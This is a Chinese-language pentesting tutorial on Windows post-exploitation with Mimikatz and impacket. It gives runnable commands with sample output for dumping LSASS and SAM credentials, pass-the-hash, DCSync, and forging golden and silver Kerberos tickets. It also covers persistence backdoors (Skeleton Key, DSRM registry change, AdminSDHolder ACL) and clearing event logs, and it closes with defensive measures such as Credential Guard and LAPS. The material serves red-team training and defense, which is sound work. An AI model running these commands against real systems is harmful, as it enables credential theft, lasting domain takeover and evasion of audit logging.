Skip to content

Windows 后渗透 — Mimikatz 密码提取、黄金/白银票据攻击

Published:
16 min read

后渗透(Post-Exploitation)阶段是渗透测试中价值最高的环节。在获取初始访问和提升权限之后,攻击者需要提取凭据、建立持久化、深入域环境。Mimikatz 是 Windows 后渗透中最具代表性的工具,它能从内存中提取明文密码、NTLM Hash 和 Kerberos 票据。本文将全面讲解 Mimikatz 的核心功能,以及黄金票据、白银票据、DCSync 等高级域攻击技术。

Mimikatz 简介与功能模块

Mimikatz 由法国安全研究员 Benjamin Delpy 开发,是 Windows 安全研究领域最重要的工具之一。它通过直接访问 Windows 安全子系统(LSASS 进程)来提取认证凭据。

核心模块概览

模块功能典型用途
sekurlsaLSASS 进程凭据提取提取密码、Hash、票据
lsadumpLSA 数据库操作SAM 数据库导出、DCSync
kerberosKerberos 操作票据导出/导入/伪造
crypto加密操作证书导出
vaultWindows 凭据保管库提取保存的凭据
dpapi数据保护 API解密 Chrome 密码等
token令牌操作令牌提升和模拟

基本使用

:: 运行 Mimikatz(需要管理员权限)
mimikatz.exe

:: 提升到调试权限(必须先执行)
mimikatz # privilege::debug
:: 输出: Privilege '20' OK — 表示成功

:: 检查 Mimikatz 版本
mimikatz # version

:: 单行命令执行(自动化场景)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

凭据提取

sekurlsa::logonpasswords

这是 Mimikatz 最常用的命令,从 LSASS 进程内存中提取所有已登录用户的凭据。

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

:: 输出示例:
:: Authentication Id : 0 ; 999 (00000000:000003e7)
:: Session           : UndefinedLogonType from 0
:: User Name         : DC01$
:: Domain            : LAB
:: Logon Server      : (null)
:: SID               : S-1-5-18
::   msv :
::    [00000003] Primary
::    * Username : DC01$
::    * Domain   : LAB
::    * NTLM     : 31d6cfe0d16ae931b73c59d7e0c089c0
::   ...
::
:: Authentication Id : 0 ; 453871 (00000000:0006ecef)
:: Session           : Interactive from 1
:: User Name         : Administrator
:: Domain            : LAB
:: Logon Server      : DC01
::   msv :
::    [00000003] Primary
::    * Username : Administrator
::    * Domain   : LAB
::    * NTLM     : fc525c9683e8fe067095ba2ddc971889
::    * SHA1     : e7cf9a4b8f5e30b0e0f9a6a29f06352c1a8b0e2d
::   wdigest :
::    * Username : Administrator
::    * Domain   : LAB
::    * Password : P@ssw0rd!
::   kerberos :
::    * Username : Administrator
::    * Domain   : LAB.LOCAL
::    * Password : P@ssw0rd!

注意:Windows 10 / Server 2016 之后,默认禁用了 WDigest 明文密码缓存。可以通过修改注册表重新启用:

:: 启用 WDigest 明文密码存储(需要用户重新登录后生效)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

:: 然后等待用户重新登录,或锁屏后解锁
rundll32.exe user32.dll,LockWorkStation

sekurlsa 其他命令

:: 提取 NTLM Hash
mimikatz # sekurlsa::msv

:: 提取 Kerberos 票据
mimikatz # sekurlsa::tickets /export

:: 提取 WDigest 凭据
mimikatz # sekurlsa::wdigest

:: 提取 DPAPI 主密钥
mimikatz # sekurlsa::dpapi

:: 提取 ekeys(Kerberos 加密密钥)
mimikatz # sekurlsa::ekeys

:: 从 LSASS 转储文件中提取(离线分析)
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

创建 LSASS 转储

:: 方法一:使用任务管理器
:: 任务管理器 > 详细信息 > 右键 lsass.exe > 创建转储文件

:: 方法二:使用 Procdump(Sysinternals 工具,不易被 AV 检测)
procdump.exe -accepteula -ma lsass.exe lsass.dmp

:: 方法三:使用 comsvcs.dll(无需额外工具)
:: 先找到 lsass.exe 的 PID
tasklist | findstr lsass
:: 假设 PID 为 672
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 672 C:\Temp\lsass.dmp full

:: 方法四:PowerShell
powershell -c "rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full"

lsadump::sam

从 SAM 数据库中提取本地用户的 NTLM Hash。

:: 在线提取(需要 SYSTEM 权限)
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam

:: 输出示例:
:: RID  : 000001f4 (500)
:: User : Administrator
::   Hash NTLM: fc525c9683e8fe067095ba2ddc971889
::
:: RID  : 000001f5 (501)
:: User : Guest
::
:: RID  : 000003e9 (1001)
:: User : testuser
::   Hash NTLM: a4f49c406510bdcab6824ee7c30fd852

:: 离线提取(从备份的 SAM 和 SYSTEM 文件)
:: 首先获取 SAM 和 SYSTEM 注册表文件
reg save HKLM\SAM C:\Temp\sam
reg save HKLM\SYSTEM C:\Temp\system

:: 然后使用 Mimikatz 离线解析
mimikatz # lsadump::sam /sam:C:\Temp\sam /system:C:\Temp\system

:: 使用 impacket-secretsdump 离线解析(Linux 上)
impacket-secretsdump -sam sam -system system LOCAL

NTLM Hash 提取与利用

# 使用 impacket-secretsdump 远程提取所有哈希
impacket-secretsdump lab.local/administrator:'P@ssw0rd!'@10.10.10.100

# 输出包括:
# - SAM 数据库中的本地用户哈希
# - LSA Secrets
# - 缓存的域凭据(DCC2)
# - NTDS.dit 中的域用户哈希(如果目标是 DC)

# 仅提取 NTDS.dit
impacket-secretsdump -just-dc lab.local/administrator:'P@ssw0rd!'@10.10.10.100

# 仅提取 NTLM Hash(不含 Kerberos 密钥)
impacket-secretsdump -just-dc-ntlm lab.local/administrator:'P@ssw0rd!'@10.10.10.100

# 使用 Hash 进行 PTH
crackmapexec smb 10.10.10.0/24 -u administrator -H 'fc525c9683e8fe067095ba2ddc971889' --local-auth

# 破解 NTLM Hash
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

黄金票据(Golden Ticket)攻击

黄金票据是 Kerberos 攻击的终极手段。通过获取 krbtgt 账户的 NTLM Hash,攻击者可以伪造任意用户的 TGT(票据授权票据),从而以任意身份访问域内任何资源。

获取 krbtgt Hash

:: 方法一:Mimikatz DCSync(需要域管或等效权限)
mimikatz # lsadump::dcsync /user:krbtgt /domain:lab.local

:: 输出:
:: SAM Username         : krbtgt
:: Hash NTLM            : b889e0d47d6fe22c8f0463a96f3e2d14
:: Object Security ID   : S-1-5-21-1234567890-1234567890-1234567890-502

:: 方法二:从 NTDS.dit 提取
mimikatz # lsadump::lsa /inject /name:krbtgt
# 方法三:使用 impacket-secretsdump
impacket-secretsdump lab.local/administrator:'P@ssw0rd!'@10.10.10.100 -just-dc-user krbtgt

伪造黄金票据

:: 使用 Mimikatz 创建黄金票据
:: 需要:域名、域 SID、krbtgt Hash、目标用户名
mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:b889e0d47d6fe22c8f0463a96f3e2d14 /ptt

:: 参数说明:
:: /user       - 伪造的用户名(可以是不存在的用户)
:: /domain     - 域名
:: /sid        - 域 SID
:: /krbtgt     - krbtgt 的 NTLM Hash
:: /ptt        - Pass-the-Ticket,直接注入到当前会话

:: 生成票据文件(不立即注入)
mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:b889e0d47d6fe22c8f0463a96f3e2d14 /ticket:golden.kirbi

:: 稍后注入票据
mimikatz # kerberos::ptt golden.kirbi

:: 设置票据有效期为 10
mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:b889e0d47d6fe22c8f0463a96f3e2d14 /endin:525600 /renewmax:525600 /ptt
# 使用 impacket-ticketer 创建黄金票据
impacket-ticketer -nthash b889e0d47d6fe22c8f0463a96f3e2d14 -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain lab.local Administrator

# 使用票据
export KRB5CCNAME=Administrator.ccache
impacket-psexec lab.local/Administrator@DC01.lab.local -k -no-pass
impacket-wmiexec lab.local/Administrator@DC01.lab.local -k -no-pass

验证黄金票据

:: 查看当前缓存的票据
klist

:: 测试访问域控 C 盘共享
dir \\DC01\C$

:: 在域控上执行命令
PsExec.exe \\DC01 cmd.exe

白银票据(Silver Ticket)攻击

白银票据伪造的是服务票据(ST/TGS),而非 TGT。它只能访问特定服务,但优势在于不需要与 KDC 通信,更加隐蔽。

白银票据制作

:: 首先需要目标服务账户的 NTLM Hash
:: 例如伪造 CIFS 服务票据(用于 SMB 文件访问)
mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:SRV01.lab.local /service:cifs /rc4:a4f49c406510bdcab6824ee7c30fd852 /ptt

:: 参数说明:
:: /target  - 目标服务器
:: /service - 服务类型(cifs, http, mssql, host, ldap 等)
:: /rc4     - 服务账户的 NTLM Hash

:: 伪造 HOST 服务票据(用于 PsExec 远程执行)
mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:SRV01.lab.local /service:host /rc4:a4f49c406510bdcab6824ee7c30fd852 /ptt

:: 伪造 HTTP 服务票据(用于 Web 服务访问)
mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:SRV01.lab.local /service:http /rc4:a4f49c406510bdcab6824ee7c30fd852 /ptt

:: 伪造 LDAP 服务票据(用于 DCSync)
mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:DC01.lab.local /service:ldap /rc4:b889e0d47d6fe22c8f0463a96f3e2d14 /ptt
# 使用 impacket-ticketer 创建白银票据
impacket-ticketer -nthash a4f49c406510bdcab6824ee7c30fd852 -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain lab.local -spn cifs/SRV01.lab.local Administrator

export KRB5CCNAME=Administrator.ccache
impacket-smbclient lab.local/Administrator@SRV01.lab.local -k -no-pass

黄金票据 vs 白银票据

特性黄金票据白银票据
伪造类型TGTTGS/ST
所需 Hashkrbtgt目标服务账户
访问范围域内所有资源仅目标服务
KDC 通信需要不需要
隐蔽性较低较高
有效期默认 10 年默认 30 天
检测难度中等较难

DCSync 攻击

DCSync 是一种通过模拟域控制器复制行为来提取域用户哈希的攻击技术。它利用 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All 权限,无需在域控制器上执行任何代码。

:: Mimikatz DCSync — 提取特定用户
mimikatz # lsadump::dcsync /user:Administrator /domain:lab.local

:: 提取 krbtgt
mimikatz # lsadump::dcsync /user:krbtgt /domain:lab.local

:: 提取所有用户(慎用,流量大易被检测)
mimikatz # lsadump::dcsync /domain:lab.local /all /csv
# impacket-secretsdump DCSync
impacket-secretsdump lab.local/administrator:'P@ssw0rd!'@10.10.10.100

# 仅提取域用户哈希
impacket-secretsdump -just-dc lab.local/administrator:'P@ssw0rd!'@10.10.10.100

# 使用 Hash 进行 DCSync
impacket-secretsdump -hashes :fc525c9683e8fe067095ba2ddc971889 lab.local/administrator@10.10.10.100

# 输出格式:
# lab.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
# lab.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b889e0d47d6fe22c8f0463a96f3e2d14:::
# lab.local\testuser:1103:aad3b435b51404eeaad3b435b51404ee:a4f49c406510bdcab6824ee7c30fd852:::

凭据持久化

Skeleton Key

Skeleton Key 攻击在域控的 LSASS 进程中注入万能密码,使攻击者可以使用任意用户名 + 万能密码登录,同时不影响原密码的使用。

:: 在域控上注入 Skeleton Key(需要域管权限)
mimikatz # privilege::debug
mimikatz # misc::skeleton

:: 注入成功后,可以使用万能密码 "mimikatz" 以任意用户登录
:: 例如:
net use \\DC01\IPC$ /user:lab\Administrator mimikatz
# 远程验证 Skeleton Key
crackmapexec smb 10.10.10.100 -u Administrator -p 'mimikatz' -d lab.local

# 使用万能密码通过 PsExec 获取 Shell
impacket-psexec lab.local/Administrator:mimikatz@10.10.10.100

注意:Skeleton Key 仅存在于内存中,域控重启后失效。

DSRM 后门

目录服务恢复模式(DSRM)账户的密码在域控安装时设定,之后很少更改。通过修改注册表可以使 DSRM 账户能够远程登录。

:: 查看 DSRM 密码 Hash
mimikatz # token::elevate
mimikatz # lsadump::sam

:: 修改注册表允许 DSRM 账户网络登录
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f

:: 然后可以使用 DSRM 密码通过 PTH 远程登录域控
# 使用 DSRM Hash 进行 PTH
impacket-psexec -hashes :dsrm_ntlm_hash ./Administrator@10.10.10.100

AdminSDHolder 持久化

# AdminSDHolder 是一个特殊的 AD 容器,其 ACL 每 60 分钟会被复制到所有受保护的组
# 通过修改 AdminSDHolder 的 ACL,可以在受保护组上持久化权限

# 使用 PowerView 添加 ACL
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=lab,DC=local" -PrincipalIdentity testuser -Rights All

# 等待 SDProp 进程运行(默认 60 分钟),或手动触发
Invoke-ADSDPropagation

痕迹清理

渗透测试完成后,必须清理所有测试痕迹。

:: 清除 Kerberos 票据
mimikatz # kerberos::purge
klist purge

:: 清除事件日志(仅在授权范围内)
wevtutil cl Security
wevtutil cl System
wevtutil cl Application

:: PowerShell 清除日志
Get-EventLog -LogName * | ForEach-Object { Clear-EventLog $_.Log }

:: 清除 PowerShell 历史
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force

:: 删除上传的工具
del /f /q C:\Temp\mimikatz.exe
del /f /q C:\Temp\winPEASx64.exe

:: 还原注册表修改
reg delete HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /f

:: 移除 Skeleton Key(重启域控或使用)
:: 最可靠的方法是重启域控 LSASS 服务
# 清除 Linux 攻击机上的痕迹
rm -rf *.ccache *.kirbi
history -c

# 关闭所有 impacket 连接
# 删除收集的数据文件
rm -rf bloodhound_data.zip *.json hashes.txt

防御建议

Credential Guard

Windows Credential Guard 使用虚拟化技术隔离 LSASS 进程,有效防止 Mimikatz 等工具提取凭据。

# 启用 Credential Guard
# 通过组策略:计算机配置 > 管理模板 > 系统 > Device Guard > 启用基于虚拟化的安全
# 或通过注册表:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags /t REG_DWORD /d 1 /f

LAPS(Local Administrator Password Solution)

# LAPS 为每台域内计算机自动生成唯一的本地管理员密码
# 安装 LAPS
Install-Module -Name LAPS -Force

# 配置 LAPS GPO
# 启用本地管理员密码管理
# 设置密码复杂度和轮换周期

受保护用户组(Protected Users)

# 将敏感账户加入 Protected Users 组
Add-ADGroupMember -Identity "Protected Users" -Members "Administrator","svc_admin"

# Protected Users 组的账户将:
# - 不使用 NTLM 认证
# - 不缓存凭据
# - 不使用 DES 或 RC4 加密
# - TGT 有效期缩短为 4 小时

其他防御措施

总结

Windows 后渗透是渗透测试中技术含量最高的阶段。本文详细讲解了以 Mimikatz 为核心的凭据提取和高级域攻击技术:

这些技术在合法的渗透测试和红队评估中具有重要价值。在实际操作中,务必确保拥有明确的授权,并严格控制测试范围。掌握攻击技术的最终目的是理解风险,从而更好地防御。